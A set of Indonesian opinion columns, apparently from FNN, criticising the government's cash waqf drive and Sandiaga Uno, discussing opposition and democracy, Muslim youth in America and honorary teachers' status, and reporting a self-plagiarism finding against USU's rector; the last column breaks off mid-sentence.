by Asyari Usman Medan, FNN - Gerakan Nasional Wakaf Uang (GNWU) sangat diharapkan untuk membantu pemerintah. Pemerntah sangat butuh uang. Tapi, sambutan luas publik tak sesuai harapan. Masyarakat sangat “dismissive”. Alias tak peduli. Imbauan waqaf uang menjadi olok-olokan. Banyak yang sinis. Saking ingin melihat GNWU sukses, Presiden Jokowi mengedepankan Sandiaga Uno sebagai ‘vote getter’. Sandiaga dianggap mampu menggugah masyarakat untuk berwaqaf uang. Karena antara lain dia digemari kaum ibu. Digemari emak-emak. Strategi menggunakan Sandi tak berdampak. Bahkan ditertawakan publik. Jokowi menyangka Sandi masih populer. Di kalangan sejumlah kecil loyalis dan pendukung buta Sandi, mungkin dia masih menjadi idola. Tapi, bagi mayoritas pendukung yang cerdas, Sandi tidak dihitung lagi. Sebetulnya, mengapa gerakan waqaf uang tidak bersambut? Mengapa gagal? Singkat saja: karena masyarakat tidak percaya waqaf uang mereka akan aman. Kalau publik masih percaya, Pak Jokowi tidak perlu bantuan Sandi atau siapa pun juga. Sekarang, bagaimana cara menyelamatkan GNWU? Apakah ada cara lain agar masyarakat berduyun-duyun berwaqaf uang? Ada. Dan bisa cepat viral. Cepat menggelembungkan waqaf. Apa itu? Kita bukakan saja rahasianya. Mudah sekali. Perintahkah Kapolri segera tangkap Abu Janda. Jadikan dia tersangka. Jebloskan ke penjara. Perbuatan rasis Permadi Arya alias Abu Janda terhadap Natalius Pigai, sudah sangat jelas pidananya. Ditambah lagi aktivasi kasus-kasus lain yang selama ini tidak diproses oleh polisi, maka kepercayaan publik kepada pemerintah akan berangsur pulih. Kalau panangkapan Abu Janda tetap tidak mendongkrak semangat masyarakat untuk berwaqaf uang, jangan khawatir. Tangkap Madam Bansos. Pasti GNWU akan membludak. Kalau penangkapan Madam Bansos tak mempan juga, segera tangkap Anak Pak Lurah. Tak mungkin ini tidak akan meledak. Dijamin dalam seminggu rekening GNWU terisi 70 triliun. Rakyat pasti akan habis-habisan berwaqaf setelah Abu Janda, Madam Bansos, dan Anak Pak Lurah masuk penjara. Pasti Gerakan Waqaf menjadi “box office”. Antrean yang mau bayar. Lihat saja, sudah ada yang bernazar mewaqafkan gajinya kalau Abu Janda ditangkap. Ini baru nazar yang disampaikan secara terbuka. Bayangkan mereka yang bernazar diam-diam. Bisa ratusan ribu orang jumlahnya. Harap diingat juga, Juliari Batubara dan Edhy Prabowo pun pasti senang mewaqafkan uang mereka jika orang-orang itu bisa ditangkap. Sebab, mereka nanti akan punya teman satu alumni. Mereka ini bukan kaliber kaleng-kaleng. Yang satu Raja Bansos. Satunya lagi Raja Lobster. Raja Bansos yang paling senang. Sebab, dia diancam oleh KPK dengan hukuman mati. Ngeri sekali, bukan? Seramlah! Nah, kalau Madam Bansos masuk, Pak Juliari jelas bersemangat. Paling tidak, beliau merasa lebih lega menghadapi proses peradilan. Terasa lega, karena akan selaras dengan pepatah: “Bansos sama diembat, hukum sama dirasa.” Juliari tentu tidak rela, “Bansos gue yang jinjing, hukum elu yang pikul.” Terakhir, jika penangkapan tiga orang ini tidak juga membangkitkan semangat publik untuk berwaqaf uang, itu berarti publik ingin penangkapan yang tak mungkin dilakukan. Kalau itu yang diinginkan publik, keterlaluan sekali. Batalkan sajalah Gerakan Waqaf..[] Penulis adalah Wartawan Senior FNN.co.id.

Oposisi di Tengah Demokrasi

by Suhardi Suryadi Jakarta, FNN - Dalam diskusi Forum News Network (FNN) beberapa waktu lalu, Rocky Gerung mengemukakan fenomena republik yang penuh ketakutan. Beliau merujuk pada tulisan Kanan Makiya tentang Republic of Fear: The Politics of Modern Iraq, Updated Edition First Edition, With a New Introduction. Buku ini akhirnya menjadi best-seller setelah invasi yang dilakukan Presiden Saddam Hussein di Kuwait. Kanan Makiya yang lahir tahun 1949 di Baghdad adalah seorang arsitektur yang lulus di Massachusetts Institute of Technology, Amerika. Kemudian bekerja di perusahaan arsitektur “Makiya & Associates “ milik ayahnya. Sebagai ahli tentang Islam dan Timur Tengah di Brandeis University, beliau mendapatkan perhatian yang luas di tingkat internasional terutama tulisannya tahun 1989 tentang Republik Ketakutan. Makiya kemudian menjadi nara sumber dalam pembicaraan dengan pemerintah AS yang menyerang Irak tahun 2003 dan menggulingkan rezim Saddam Hussein. Karenanya, tidak sedikit yang memberikan kritik terhadap karya Kanan Makiya. Salah satunya adalah Edward Said, profesor di Universitas Columbia-USA yang merupakan salah seorang paling vokal terhadap Makiya. Said berpendapat bahwa Makiya adalah seorang Trotskyis (Trotsky diidentifikasi sebagai Marxis ortodoks) pada akhir 1960-an dan awal 1970-an, tetapi kemudian "beralih sisi" dengan mengambil untung melalui rancangan gerakan untuk menggulingkan Saddam Hussein Melembagakan Oposisi Apa yang berlangsung di Irak terutama semasa Saddam Hussein memimpin tidak lepas dari hilangnya suara oposisi. Nyaris kekuasaan terpusat pada satu tangan sehingga menyimpan dan menumpuk perlawanan yang tersembunyi. Upaya menghidupkan kekuatan sebagai lawan politik nyaris tidak dilakukan karena kekuatiran dan bahkan ketakutan bahwa oposisi dapat merongrong dan pada akhirnya menjatuhkan kekuasaannya. Catatan Amnesty menunjukkan bahwa kualitas kebebasan berekspresi mulai dari berpendapat para warga, media, dan juga organisasi kemasyarakatan di Indonesia yang ingin beroposisi telah merosot cukup tajam. Dari seluruh catatan yang ada, maka paling mengkhawatirkan adalah penggunaan aturan pidana dalam menyikapi ekspresi warga yang kritis terhadap pejabat maupun lembaga negara. Termasuk juga serangan siber terhadap kelompok ini. (Rontoknya Kualitas Demokrasi di Era Jokowi, https://tirto.id/f6nL) Beberapa kasus menunjukkan penurunan kualitas demokrasi. Sebagai contoh, KAMI (Koalisi Aksi Menyelamatkan Indonesia) yang dideklarasikan 18 Agustus 2019 oleh sejumlah tokoh, sebagai gerakan moral yang berjuang untuk mewujudkan masyarakat Indonesia sejahtera telah mengalami mati suri. Wadah yang bermaksud mengkritisi kebijakan pembangunan, KAMI dihajatkan beroposisi untuk memperkuat bangsa dan negara yang selaras dengan aspirasi rakyat. Dengan demikian kehadiran KAMI seharusnya dilihat sebagai bagian dari kekuatan yang memiliki tanggung jawab untuk melindungi, mencerdaskan dan mensejahterakan kehidupan rakyat. Karena itu, gerakan moral yang menghimpun berbagai elemen-elemen dan komponen bangsa lintas agama, suku, profesi dan kepentingan politik perlu dilihat sebagai kekuatan untuk menyelamatkan Indonesia. Sehingga wajar manakala cara yang dilakukan adalah pengawasan social baik melalui kritik dan koreksi untuk meluruskan kiblat bangsa dari segala bentuk penyimpangan dan penyelewengan. Semuanya dilakukan dalam kerangka membangun demokrasi. Terpenting apa yang dilakukan tidak mengarah pada cara-cara kekerasan dan inkonstitusional. Terhambatnya budaya politik oposisi di Indonesia ada kesan dilatar-belakangi oleh perkembangan persepsi yang keliru di tengah masyarakat dan pengelola kekuasaan tentang makna oposisi. Seolah-olah partai atau kelompok masyarakat yang beroposisi dianggap pembuat onar dan biang keladi dari kekisruhan politik yang mapan. Padahal suara krits dan berbeda baik di parlemen maupun di tengah masyarakat merupakan bagian dari tanggungjawabnya untuk mendorong perubahan kebijakan pemerintah yang lebih baik. Mati surinya kelembagaan oposisi seperti KAMI dalam kehidupan politik kelak dapat mengancam kehidupan demokrasi. Kurang berfungsinya partai politik dalam menjalankan fungsi control dan sekaligus menawarkan kebijakan alternatif kepada pemerintah justru akan membuka ruang bagi tumbuhnya kekuatan rakyat melalui gerakan ekstra parlemen yang lebih dahsyat. Ini berarti, membuka ruang oposisi dalam negara demokrasi menjadi wajib dijalankan sebelum memunculkan krisis legitimasi terhadap pemerintah dan partai politk. Dr Surin Pitsuwan, seorang diplomat Thailand dan mantan Sekretaris Jenderal ASEAN, mencatat bahwa ‘ demokrasi di Asia Tenggara belum begitu baik ’ yang salah satunya disebabkan oleh kesalahpahaman demokrasi. Dimana telah membawa generasi pemimpin yang mengendarai gelombang populisme, korupsi, patronase dan tanpa oposisi. Sehingga menciptakan ‘sandiwara’ demokrasi yang terlalu banyak memberi harapan ketimbang merealisasi fakta dalam jangka pendek. Penulis adalah Peneliti LP3ES.

American Muslim & a Lost Generation

by Imam Shamsi Ali New York City FNN- Sengaja saya memakai bahasa Inggris pada judul tulisan ini. Hal itu karena tulisan ini sangat dekat dengan generasi Muslim Amerika yang bahasa ibunya adalah bahasa Inggris. Tentu harapannya juga kiranya judul ini “eye catchy” atau menarik perhatian pembacanya. Amerika sesungguhnya adalah sebuah negara yang menjanjikan (promising land). Karenanya Amerika tetap dianggap sebagai negara yang penuh dengan peluang atau kesempatan (land of opportunities). Bahkan sebagian menjulukinya sebagai “a land of dreams” (negara impian). Sesungguhnya tidak salah jika Amerika dijuluki demikian. Karena memang Amerika dengan segala kekurangannya masih menjadi impian banyak orang. Kata Amerika memiliki daya tarik tersendiri yang menjadikan banyak yang ingin berimigrasi ke negara ini. Wajar saja kalau Amerika kemudian memang dikenal sebagai bangsa atau negara imigran. Kenyataan ini menjadikan isu imigrasi (immigration issue) menjadi isu politik yang sering memanas. Pelarangan Muslim masuk Amerika dari negara mayoritas Muslim di zaman Trump (Muslim Ban) adalah satu diantara banyak isu imigrasi yang menjadi perdebatan politik di Amerika. Keinginan untuk berimigrasi ke Amerika ini juga termasuk warga Muslim. Tentu karena ragam alasan dan latar belakang. Ada yang karena mencari suaka politik akibat refresi kekuasaan di negara masing-masing. Apa pula karena alasan pendidikan, ekonomi, dan berbagai alasan lainnya. Semua itu tentu sah-sah saja. Mencari kebebasan dari tirani kekuasaan untuk ketenangan hidup boleh. Mencari kesempatan pendidikan yang lebih baik juga diperbolehkan. Demikian pula mencari kesempatan hidup yang lebih layak (ekonomi) juga sangat dibolehkan. Amerika dan Dakwah Opportunity Bagi mereka yang sadar Islam, dari semua “opportunities” (ragam kesempatan) itu, kesempatan untuk mendakwahkan agama ini seharusnya menjadi pertimbangan utama dalam berimigrasi ke Amerika. Amerika adalah “Daar ad-da’wah” atau negeri yang subur untuk mengembangkan dakwah Islam. Tentu dakwah dalam arti yang luas. Termasuk di dalamnya menjadi bagian dari masyarakat Amerika untuk membawa perubahan sosial kepada negara ini. Bahwa dengan keberadaan Umat Islam di Amerika berbagai “krisis moral” yang mengancam negara ini dapat diminimalkan. Amerika adalah negara dengan masyarakat yang sangat terbuka (open society). Artinya, di Amerika itu segala sesuatu dapat tumbuh dan berkembang. Pada akhirnya kesuksesan atau keberhasilan setiap orang atau kelompok orang ditentukan oleh semangat “kompetisi” yang dimilikinya. Kita lihat misalnya bagaimana masyarakat Yahudi, dengan kwantitas yang kecil (minoritas) mampu membangun kekuatan atau pengaruh (influence) dalam kehidupan publik Amerika. Termasuk dalam mempengaruhi berbagai kebijakan pemerintahan Amerika. Disinilah sesungguhnya Islam dapat tampil sebagai kekuatan alternatif. Secara konseptual (ajaran) Islam memang dahsyat. Tidak perlu dan memang tidak ada keraguan padanya (laa raeba fiih). Islam mampu menandingi ajaran mana saja (liyudzhirahu alad diini kullih). Pertanyaannya kemudian, mampukah Islam itu ditampilkan sebagai kekuatan alternatif di tengah-tengah bangsa Amerika? Penampilan Islam ini tentunya banyak ditentukan oleh pemeluknya yang datang ke negara ini. Dan ini pulalah yang saya maksudkan dengan Amerika sebagai peluang dakwah (dakwah opportunity) yang sangat luas. America and The Lost Generation Dengan segala hal yang indah dan manis tentang Amerika itu, di sisi lain juga penuh dengan wajah yang buruk dan menyeramkan. Tidak selalu seindah yang seperti yang dibayangkan sebagian orang. Selain masih tingginya diskriminasi dan rasisme putih akibat mentalitas Amerika yang merasa istimewa (exceptional). Juga hidup di Amerika itu penuh dengan goncangan yang dahsyat. Termasuk di dalamnya goncangan materialisme, individualisme, kapitalisme dan hedonisme. Kesemua “isme” (faham atau ideologi) itu jika tidak dibarengi mentalitas yang solid (firm mentality), maka akan menimbulkan kegoncangan yang dahsyat dalam hidup manusia. Mental yang solid itulah iman manusia. Kerapuhan mental (iman) sebagian warga Muslim, khususnya kaum pendatang (imigran) di Amerika melahirkan banyak masalah yang serius. Termasuk di dalamnya kerapuhan generasi Islam itu sendiri. Bahkan tidak berlebihan jika kerapuhan tersebut pada tingkatan tertentu telah menimbulkan generasi yang hilang (lost generation). Terjadinya lost generation ini disebabkan banyak faktor. Tetapi beberapa faktor dominan dapat disebutkan di antaranya sebagai berikut: Pertama, visi hidup yang salah. Dalam bahasa sederhana, visi hidup itu artinya niat kita dalam menjalani kehidupan ini. Ini berarti bagi masyarakat Muslim yang bermigrasi ke Amerika, niat imigrasi akan banyak menentukan gaya hidupnya di negara ini. Jika niatnya memang untuk dunia, maka dunia itu akan didapat (walau tidak pasti). Tetapi pada akhirnya orang dengan visi keduniaan semata akan mengalami kerugian yang besar (khasarah). kerugian terbesar itu ketika Iman dan Islam menjadi tidak lagi sesuatu yang mendasar dalam hidup. Kedua, visi hidup yang salah tadi menjadikan gaya hidup yang tidak lagi peduli dengan agama. Agama bagi sebagian warga Muslim seolah seremoni musiman. Beragama di saat Idul Fitri atau Idul Adha. Atau seringkali agama sekedar hiburan dan/atau pelampiasan. Hadir di pengajian atau kajian karena ajang kumpul dengan sesaman teman yang disukai. Gaya hidup seperti ini melahirkan kelalaian dalam beragama. Salah satu dampak terbesar dari kelalaian itu adalah hilangnya perhatian kepada anak-anak (generasi). Generasi yang tidak mendapat perhatian yang cukup, lambat laun namun pasti semakin tidak peduli dengan agamanya. Ketiga, gaya hidup yang tidak peduli dengan agama itu akan semakin memperbudak. Sehingga manusia semakin hanyut dalam rutinitas kesibukan mencari dunia yang tiada ujung. Kerja, kerja dan kerja, menjadi motto hidup. Tetapi kerja dengan visi yang salah berakibat fatal. Betapa banyak orang tua imigran yang bekerja keras. Membanting tulang siang-malam untuk mencari dunia. Bertahun-tahun, bahkan berpuluh-puluh tahun menghabiskan umur memburu dunia. Tetapi anak (generasi) tak mendapat perhatian yang cukup. Mengakibatkan hilangnya jatidiri (identity) generasi itu. Keempat, perhatian agama yang cenderung bersifat seremonial sesaat. Agama ibaratnya obat instan yang sesaat. Jika sedang sakit kepala, maka minum panadol niscaya kepala akan menjadi ringan. Para kelompok pengajian atau masjid-masjid sering fokus mendatangkan guru-guru mengaji yang bisa untuk mengajarkan dzikir-dzikir. Para orang tua kemudian diajari dzikir berjamaah. Tetapi anak-anak dan generasi mudah tertelantarkan. Apalagi jika guru-guru yang didatangkan itu, tidak saja secara bahasa inkapabel. Tetapi juga ada wawasan budaya yang berbeda (cultural gap) dengan generais muda. Situasi seperti itu, generasi pertama imigran Muslim harusnya berimajinasi 10, 20 atau 30 tahun mendatang. Kira-kira siapa yang akan meramaikan majelis-majelis dzikir dan kajian-kajian agama itu? Kelima, kegagalan melakukan perubahan (adjustment) dengan keadaan yang berbeda. Amerika adalah Amerika. Bukan lagi negara asal. Barangkali kelompok pengajian atau masjid dikelolah secara kelompok nasinalitas (asal negara). Tetapi satu hal yang tidak bisa diabaikan adalah kenyataan bahwa kita telah hidup di sebuah negara dan bangsa yang punya karakter dan kecenderungan tersendiri. Mengelolah pengajian dan masjid dengan pemahaman kesukuan dan kebangsaan (tribal mindset) akan menjadikan generasi kita merasa tersudutkan. Pergaulan dan dunia mereka jauh lebih luas dari dinding-dinding kabilah dan kebangsaan. Generasi muda akan melihat bahwa kegiatan pengajian atau masjid bukan rumah mereka (they don’t belong to). Ada gap kejiwaan antara mereka dan pengajian (masjid) yang dikelolah secara tribal itu. Apalagi dengan wawasan dan kultur yang tidak lagi menjadi bagian diri mereka secara dominan. Itulah beberapa faktor kenapa Komunitas Muslim di Amerika terancam. Bukan oleh ancaman Islamophobia atau rasisme White Supremacy. Tetapi ancaman terbesar itu adalah kenyataan bahwa Komunitas Muslim Amerika menghadapi ancaman hilangnya generasi atau “lost generation”. Ingatkah kita kalau Borris Johson, Perdana Menteri Inggris, adalah keturunan Muslim? Bagaimana nasib anak cucu kita ke depan? Semoga Allah menjaga! Penulis adalah Presiden Nusantara Foundation.

Berkhianat, Sandiaga Uno Tidak Laku Jualan Wakaf

by M. Rizal Fadillah Bandung FNN - Soal wakaf uang sebagai gerakan nasional yang ikut diserukan Menteri Pariwisata dan Ekonomi Kreatif, Sandiaga Uno ternyata mendapat respon yang negatif dari publik. Netizen menyatakan keengganan untuk mengikuti ajakan Uno. Karena Sandiaga Uno sudah dianggap sebagai penghianat berat kepada para pendukung setianya. Sandiaga Uno bukan lagi orang yang berpengaruh di mata para pendukungnya seperti dulu. Tidak lagi hebat seperti saat mengikuti Pilkada DKI Jakarta tahun 2017 yang berpasangan dengan Anies Baswedan, maupun Pilpres 2019 ketika berpasangan dengan Prabowo. Sandiaga Uno sudah seperti barang rongsokan di mata pendukungnya. Begitulah resikonya kalau menjadi penghianat. Biasanya tidak ada ampun dan maaf untuk penghianat. Namun ada maaf untuk musuh. Penolakan kepada Sandiga Uno ini menyangkut kredibilitas Sandiaga yang merosot setelah menjabat sebagai menteri di kabinet Jokowi-Amin . Berberbeda Sandiga Uno saat menjadi Cawapres, yang begitu dielu-elukan, dengan setelah menjadi Menteri yang disesalkan banyak orang. Memang tidak ada penghianat disenangi oleh pendukungnya setelah berhianat. Begitulah hukum alam. Sandiaga Uno menyatu dengan citra kabinet yang sangat buruk. Bahkan dbilang bobrok. Sandiaga tidak akan mampu berkreasi sendiri untuk meningkatkan daya dukung publik kepada pemerintahan Jokowi. Aapalagi untuk kampanye wakaf uang. Publik, terutama mantan pendukung setia tetap saja menilai Sandiaga Uno akan mati, karena berada di jajaran Kabinet Jokowi. Tidak value yang bisa dibuat oleh Sandiaga jika berada di dalam kabinet. Nasib Sandiga Uno tidak bakalan berbeda jauh dengan senior dan pasangan Capresnya yaitu Prabowo Subianto. Keberadaan lawan tanding Jokowi-Amin di Pilpres 2019 ini memberi pelajaran tentang kematian itu. Sandiaga Uno muda dan bermasa depan itu hanya diolok-olok saat mendapat tugas mulai dari Menteri Kordinator Kemaritiman dan Investasi (Menkomarinvest) Luhut Panjaitan untuk memperbaiki toilet. Kalau Prabowo sudah duluan mendapatkan tugas dari mulia Prasiden Jokowi untuk menanam singkong dan mengembangkan pertanian. Kini giliran Sandiaga Uno mendapat tugas dari Luhut untuk mengurus , memperbaiki dan membersihkan WC. Sungguh hebat, dan sangat luar biasa tugas yang diberikan Jokowi kepada Prabowo, dan tugas dari Luhut Panjaitan kepada Sandiaga Uno. Tinggal dilaksanakan dengan baik, dan penuh tanggaung jawab saja. Semoga saja berhasil. Profil kesalehan diri Sandiaga Uno tidak mampu mendongkrak kharisma untuk berbicara dengan wibawa soal gerakan wakaf. Sebagian rakyat, khususnya umat Islam menilai bahwa gerakan wakaf uang yang dicanangkan Pemerintah Jokowi merupakan program ambivalen atau sikap munafik. Bahkan menyebut mengemis-ngemis untuk menarik dana umat. Sindirannya kencleng. Masjid pun sedang dilirik. Makanya mesjid-mesjid harus mulai dijaga ketat. Sebab di satu sisi umat Islam dicoba untuk dilumpuhkan dengan isu-isu radikalisme, intoleransi, terorisme dan ekstrimisme. Begitu juga dengan kriminalisasi terhadap ulama dan aktivis oposisi kritis yang terlihat masif. Ulama dan aktivis dijebloskan ke dalam penjara oleh penguasa. Eh, sekarang sumber-sumber dana umat Islam via zakat, haji dan wakaf justru mau diambil pemerintah untuk membiayai pembangunan infrastruktur. Sementara para perampok uang negara banyak terlihat berlindung di sekeliling Istana. Pekerjaaan untuk meyakinkan umat Islam dan para man pendunngnya inilah yang sekarang dicoba untuk dikerjakan oleh Sandiaga Uno. Sayangnya, mendapat rospon negatif. Sandiaga Uno pasti juga dapat membaca bagaimana potensial, anak muda, dan kreatifnya Menteri Pendidikan (Mendikbud) Nadiem makarim. Nadiem yang sangat dipercaya Jokowi, namun nyatanya tak berkutik juga di dalam Kabinet. Kualifikasinya biasa-biasa saja. Bahkan boleh dibilang tanpa prestasi. Banyak membuat kebijakan yang bertabrakan dengan kalangan kampus dan dunia pendidikan. Air di dalam kolam kabinet pemerintahan tidak jernih. Airnya kabur dan berbau. Kurang layak untuk dikonsumsi. Makanya kalau masuk ke dalamnya, pasti ikut tercemar. Jadi, sebaiknya Sandiga Uno fokus saja pada pilihan untuk mengurus masalah pariwisata dan ekonomi kreatif. Masalah wakaf biarlah para ulama dan ormas Islam yang jauh lebih paham dan kompeten. Setelah menyasar dana wakaf, disamping menyesalkan Sandiaga Uno, publik juga banyak menyindir Jokowi dan Sri Mulyani dengan diksi "mendadak mnjadi kadrun-kadrun". Padahal kadrun-kadrun menjadi sumber cemoohan dari “yang ono”. Kadrun-kadrun disetarakan “yang ono” dengan radikalisme, intoleransi, terorisme dan ekstrimisme. Pemerintah itu rupanya mulai sadar bahwa yang kearab-araban itu diperlukan juga, hi hi hi. Makanya jangan sok anti Islam, ya boss. Giliran urusan duit umat Islam, mata loe membelalak, heheheheheee. Penulis adalah Pemerhati Politik dan Kebangsaan.

Guru Bukan Ban Serep di Bidang Pendidikan

by Tamsil Linrung Jakarta FNN - Langkah pemerintah meniadakan rekrutmen formasi Calon Pegawai Negeri Sipil (CPNS) untuk guru, dan diganti dengan Pegawai Pemerintah dengan Perjanjian Kerja (PPPK), perlu ditinjau kembali. Selain memperpanjang status yang terkatung-katung kepada para tenaga pendidik, keputusan tersebut juga mencederai rasa keadilan. Bagaimana tidak, nyaris satu juta tenaga honorer telah berdiri dalam antrean penantian panjang untuk meraih kesejahteraan. Bahkan ada yang tiga puluh tahun menekuni profesi, mendidik generasi penerus negeri ini. Mengabdi dengan ikhlas. Namun statusnya tidak berubah. Masih tetap sebagai tenaga honorer yang minim perhatian negara. Bukan status itu yang digugat. Tetapi apresiasi dan keberpihakan negara. Bayangkan, para guru honorer ada yang gajian pertiga bulan. Jumlahnya pun sangat kurang memadai. Bahkan cenderung tidak manusiawi. Bagaimana mungkin, sosok-sosok yang terdepan dalam membangun bangsa ini, digaji Rp. 100.000 per bulan? Dengan desakan kebutuhan dan harga-harga yang semakin melambung, nominal tersebut sangat jauh dari kata layak. Data dan fakta tersebut dapat dengan mudah kita temukan di lapangan. Bahkan menjadi satu aspirasi yang disampaikan oleh forum guru yang tergabung dalam Guru dan Tenaga Kependidikan Honorer Non Kategori Usia 35 ke Atas (GTKHNK 35+) yang baru-baru ini beraudiensi dengan saya selaku Senator dan Anggota Komite III Dewan Perwakilan Daerah (DPD) RI yang membidani sektor pendidikan. Padahal aspirasi soal penetapan status dan kesejahteraan ini sudah puluhan tahun disampaikan. Pergantian menteri dan pergantian pejabat di lingkup Kemendikbud, hingga pemerintah pusat, belum ada satupun yang bertindak konkret. Sebaliknya, harapan demi harapan terus ditumpuk. Gimik kebijakan seolah menunjukkan keberpihakan. Faktanya, masih jauh panggang dari api. Adapun soal kualitas yang selalu dipertanyakan oleh pemerintah, apakah memang sudah ada upaya untuk meningkatkan kualitas para tenaga pendidik honorer kita? Apa langkah konkret negara dalam hal ini? Sementara persoalan mendasar seperti pemenuhan standar gaji yang layak saja, tidak dipenuhi. Tak ayal, keputusan yang ditetapkan pemerintah untuk tidak menerima PNS bagi guru pada tahun 2021 ini, bagai mimpi buruk di siang hari. Harapan menikmati kesejahteraan semakin jauh dari kenyataan. Padahal pada kesempatan yang sama, pemerintah juga mengakui membutuhkan satu juta guru baru. Namun ada kesan seolah menghindari para guru honorer ini untuk diangkat sebagai Aparatur Sipil Negara (ASN). Misalnya terlihat dari peralihan menjadi rekrutmen PPPK atau abdi negara berstatus kontrak. Lagi-lagi, ini hanya menjadi semacam fatamorgana dari aspirasi yang sudah jelas-jelas disampaikan oleh para guru dan berbagai elemen pendidikan soal dorongan untuk mengangkat para tenaga honorer sebagai ASN. Argumentasi yang sayup-sayup kita dengar, juga dirasakan oleh para tenaga honorer adalah mereka dipandang tidak relevan. Para guru yang umumnya senior dan sudah lama mengabdi ini, semacam dianggap tidak qualified untuk menjadi tenaga pendidik di era kekinian. Era teknologi informasi dimana kebutuhan tenaga pendidik dituntut untuk adaptif dengan perkembangan zaman. Pandangan itu, seolah mengubur akumulasi jasa dan kontribusi yang sudah lama jadi sumbangsih mereka. Padahal, para guru honorer ini bisa dilatih untuk kemudian melalui proses assesment agar kualifikasinya tetap relevan. Memberikan pelatihan bagi insan pendidik yang sudah punya dasar yang matang ditambah pengalaman panjang berkecimpung di kelas-kelas, tentu jauh lebih efektif. Berbeda misalnya dengan rekrutmen tenaga pendidik yang betul-betul baru. Proses ini yang tampaknya coba dilompati oleh pemerintah dengan legitimasi berbagai keputusan dan kebijakan yang ditempuh. Termasuk meniadakan rekrutmen ASN guru yang digantikan dengan PPPK, dengan dalih ini bagian dari proses mensejahterakan guru. Pertanyaanya, jika bisa dilakukan secara langsung, kenapa harus dibuat proses berbelit-belit yang terkesan diada-adakan? Lagi pula, tuntutan mengangkat tenaga honorer sebagai ASN merupakan aspirasi yang sudah disuarakan puluhan tahun. Pada saat yang sama, sekali lagi, pemerintah memang membutuhkan satu juta tenaga pendidik baru. Lantas mengapa para guru honorer ini tidak langsung ditetapkan saja sebagai ASN sebagaimana tuntutan rekan-rekan guru tersebut? Perlu dicatat, bahwa Guru bukan ban serep. Para tenaga pendidik bukan komponen cadangan di bidang pendidikan. Tetapi merupakan organ elementer dalam sistem pendidikan kita. Guru adalah bagian dari proses pendidikan yang berjalan berkesinambungan. Memperlakukan para guru seperti tenaga kerja sebagai faktor produksi dengan status kontrak, mencederai rasa kemanusiaan. Demikian juga membatasi usia guru untuk diberi peluang sebagai ASN, sama perihnya. Menegasi apresiasi yang mestinya diterima oleh para guru. Lalu bagaimana mungkin bangsa ini bisa maju, jika muncul pikiran-pikiran dan kebijakan diskirminatif seperti itu kepada guru? Saya selaku anggota Komite III Dewan Perwakilan Daerah Republik Indonesia, mendorong DPD secara kelembagaan agar mendesak pemerintah untuk segera ada pengangkatan para tenaga honorer sebagai ASN. Diikuti proses assesment untuk meningkatkan kompetensi para tenaga pendidik kita. Selain itu, proses apresiasi kepada para honorer ini, juga tidak boleh diklasifikasi dan diskriminatif. Termasuk menolak adanya pembatasan usia. Penulis adalah Senator Komite III Bidang Pendidikan DPD RI.

Begini Temuan Tim Investigasi USU Soal Otoplagiasi Dr Muryanto Amin

by Asyari Usman Medan, FNN - Kemendikbud akhirnya memaksakan pelantikan Dr Muryanto Amin menjadi rektor USU. Pelantikan dilakukan oleh ketua Majelis Wali Amanat (MWA) Universitas Sumetera Utara (USU) pada 28 Januari 2021 di kantor Kemendikbud, Jakarta. Plt Sekjen Kemendikbud Ainun Na’im (bukan sekjen penuh, karena sudah lewat usia penisun) mengatakan Muryanto bersih dari tuduhan plagiasi. Ainun beralasan otoplagiasi (self-plagiarism) tidak diatur di dalam UU. Yang diatur hanya plagiasi karya orang lain. Rektor USU pendahulu Muryanto mengeluarkan keputusan tertanggal 14 Januari 2021, nomor 82/UN5.1R/SK/KPM/2021, yang menetapkan bahwa Muryanto terbukti secara sah dan meyakinkan telah melakukan otoplagiasi (self-plagiarism). Berikut ini cerita lengkap otoplagiasi yang dilakukan Muryanto berdasarkan temuan Komite Etik USU (SK No. 55/UN5.1.KE/SK/KPM/2021). Rektor menyatakan dalam keputusannya bahwa Muryanto melakukan perbuatan self-plagiarism (otoplagiasi) dengan sengaja dan berulang. Muryanto dinyatakan pula terbukti melanggar etika keilmuan. Tim penelusuran yang dibentuk oleh Rektor Prof Dr Runtung Sitepu diketuai oleh pakar kepustakaan USU, Dr Jonner Hasugian. Tim menemukan empat (4) dari 5 (lima) karya tulis Muryanto Amin mengandung unsur similaritas (kemiripan) yang sangat tinggi. Ada yang sampai 90% konten plagiatnya. Otoplagiasi ini dilakukan antara 2014 sampai 2018. Dr Muryanto menulis disertasi pada Juni 2013 di Program Pascasarjana Ilmu Politik Universitas Indonesia (UI) dengan judul “Kekuasaan dan Politik Lokal (Studi tentang Peran Pemuda Pancasila dalam Mendukung Syamsul Arifin dan Gatot Pudjonugroho sebagai Calon Gubernur dan Wakil Gubernur Provinsi Sumatera Utara Periode 2008-2013). Tim investigasi Komite Etik USU menemukan bahwa tesis ini menjadi sumber utama karya tulis Muryanto yang berjudul “Relasi Jaringan Organisasi Pemuda dalam Pemilihan Gubernur Sumetara Utara” yang diterbitkan oleh Jurnal Komunitas pada Maret 2014. Setelah dilakukan pengujian dengan aplikasi Turnitin untuk mengetahui tingkat kemiripan antara tesis dan karya tulis terbitan jurnal itu, didapat angka 79%. Kemudian, hasil uji ini diuji lagi dengan aplikasi Plagiarism Checker X. Hasilnya, kemiripan mencapai 90%. Berdasarkan penghitungan manual, ditemukan 108 kalimat utuh yang tertera di kedua karya tulis Muryanto itu. Sekitar 3.5 tahun kemudian, Agustus 2017, Muryanto menulis artikel yang diterbitkan di jurnal The Social Sciences (12/8) dengan judul berbahasa Inggris “A New Patronage Networks of Pemuda Pancasila in Governor Election of North Sumatra Year 2013”. Tim penyelidik menemukan artikel ini merupakan terjemahan dari tulisan yang berjudul “Relasi Jaringan Organisasi Pemuda dalam Pemilihan Gubernur Sumatera Utara” yang terbit di Jurnal Komunitas pada Maret 2014. Yang berubah hanyalah nama tokoh calon gubernur. Hasil telaah tim mendapati Muryanto tidak menjelaskan bahwa artikel “A New Patronage of Pemuda Pancasila in Governor Election of North Sumatera Year 2013” berasal dari “Relasi Jaringan Organisasi Pemuda dalam Pemilihan Gubernur Sumatera Utara”. Di sini, tim Komite Etik menyimpulkan telah terjadi publikasi jamak dan plagiasi gagasan yang dinilai sebagai pelanggaran etika keilmuan dan integritas moral. Otoplagiasi Dr Muryanto Amin berlanjut. Artikel “A New Patronage Networks of Pemuda Pancasila in Governor Election of North Sumatera” yang diterbitkan pada September 2017 di jurnal Man in India (97/18), sangat mirip dengan tulisan “A New Patronage Networks of Pemuda Pancasila in Governor Election of North Sumatera Year 2013” yang terbit di The Social Sciences (12/8) edisi Agustus 2017. Menurut tim 